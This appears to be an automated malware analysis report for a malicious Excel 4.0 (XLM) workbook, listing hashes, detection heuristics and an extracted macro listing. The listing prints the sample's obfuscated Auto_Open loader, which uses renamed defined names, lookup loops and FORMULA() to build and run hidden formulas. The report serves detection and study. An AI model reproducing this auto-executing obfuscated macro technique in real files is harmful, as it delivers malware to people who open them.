Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 0f2fb19f544a784c…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:47:01 Authoring application: Microsoft Excel First seen: 2021-04-25
MD5: 9b522647a844eafc0e22cd94df28b948 SHA-1: e0442d5fa00494d5a90d9f7c80e4cfb636c86cf7 SHA-256: 0f2fb19f544a784c24f623ebd8507360a545f3ff9fa412ed0cdabd7a1895b5ee
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6571 bytes
SHA-256: 209bf12ceb2c7aa1a3905c273b941f94e5a95f78b33579cd5e5d88e5ac54f0cd
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     19 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  wcvIfsubQK
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!E174 
' 0018     22 LABEL : Cell Value, String Constant - bGzVyAG len=0 
' 0018     25 LABEL : Cell Value, String Constant - ceTRAqZbYw len=0 
' 0018     22 LABEL : Cell Value, String Constant - dYWFtnX len=0 
' 0018     20 LABEL : Cell Value, String Constant - EMxzl len=0 
' 0018     20 LABEL : Cell Value, String Constant - ExXdZ len=0 
' 0018     23 LABEL : Cell Value, String Constant - FCXkKSRo len=0 
' 0018     20 LABEL : Cell Value, String Constant - hFjId len=0 
' 0018     23 LABEL : Cell Value, String Constant - hIIiUEuz len=0 
' 0018     20 LABEL : Cell Value, String Constant - iovFm len=0 
' 0018     22 LABEL : Cell Value, String Constant - LwyLGfI len=0 
' 0018     23 LABEL : Cell Value, String Constant - nNNvREfr len=0 
' 0018     24 LABEL : Cell Value, String Constant - NvFZHRkNi len=0 
' 0018     26 LABEL : Cell Value, String Constant - ozwRFMGQTcx len=0 
' 0018     26 LABEL : Cell Value, String Constant - QuobXEIDTwp len=0 
' 0018     20 LABEL : Cell Value, String Constant - QyXWL len=0 
' 0018     27 LABEL : Cell Value, String Constant - skqyDwDpridf len=0 
' 0018     21 LABEL : Cell Value, String Constant - wbFyKA len=0 
' 0018     23 LABEL : Cell Value, String Constant - WQPjczXO len=0 
' 0018     25 LABEL : Cell Value, String Constant - XkOnPhAPeP len=0 
' 0018     26 LABEL : Cell Value, String Constant - zuuRLoPbJBr len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  wcvIfsubQK,E77,"SET.NAME("dYWFtnX",VALUE("0"))",""
'  wcvIfsubQK,E81,"SET.NAME("hFjId",dYWFtnX)",""
'  wcvIfsubQK,E86,"SET.NAME("XkOnPhAPeP",dYWFtnX)",""
'  wcvIfsubQK,E90,"SET.NAME("QuobXEIDTwp",COUNTA(ExXdZ))",""
'  wcvIfsubQK,E94,"SET.NAME("hIIiUEuz",COUNTA(LwyLGfI))",""
'  wcvIfsubQK,E98,[],""
'  wcvIfsubQK,E100,"SET.NAME("zuuRLoPbJBr","")",""
'  wcvIfsubQK,E105,"hFjId",""
'  wcvIfsubQK,E107,"SET.NAME("WQPjczXO",HLOOKUP("*",ExXdZ,hFjId,FALSE))",""
'  wcvIfsubQK,E112,"wbFyKA",""
'  wcvIfsubQK,E115,"SET.NAME("NvFZHRkNi",dYWFtnX)",""
'  wcvIfsubQK,E119,[],""
'  wcvIfsubQK,E124,"NvFZHRkNi",""
'  wcvIfsubQK,E129,"QyXWL",""
'  wcvIfsubQK,E131,"skqyDwDpridf",""
'  wcvIfsubQK,E135,"bGzVyAG",""
'  wcvIfsubQK,E140,"SET.NAME("EMxzl",VALUE(HLOOKUP("*",LwyLGfI,bGzVyAG,FALSE)))",""
'  wcvIfsubQK,E143,"ozwRFMGQTcx",""
'  wcvIfsubQK,E147,"zuuRLoPbJBr",""
'  wcvIfsubQK,E152,"XkOnPhAPeP",""
'  wcvIfsubQK,E154,NEXT(),""
'  wcvIfsubQK,E156,"ceTRAqZbYw",""
'  wcvIfsubQK,E158,"SET.NAME("f",INT(T(FORMULA(T(zuuRLoPbJBr)&"",""&T(ceTRAqZbYw)))))",""
'  wcvIfsubQK,E161,"FCXkKSRo",""
'  wcvIfsubQK,E165,NEXT(),""
'  wcvIfsubQK,E169,RETURN(),""
'  wcvIfsubQK,E202,"SET.NAME("iovFm",E77)",""
'  wcvIfsubQK,E206,"ExXdZ",""
'  wcvIfsubQK,E208,"SET.NAME("LwyLGfI",R98C13)",""
'  wcvIfsubQK,E213,"SET.NAME("FCXkKSRo",222)",""
'  wcvIfsubQK,E218,"SET.NAME("nNNvREfr",5)",""
'  wcvIfsubQK,E221,iovFm(),""
'  wcvIfsubQK,E222,HALT(),""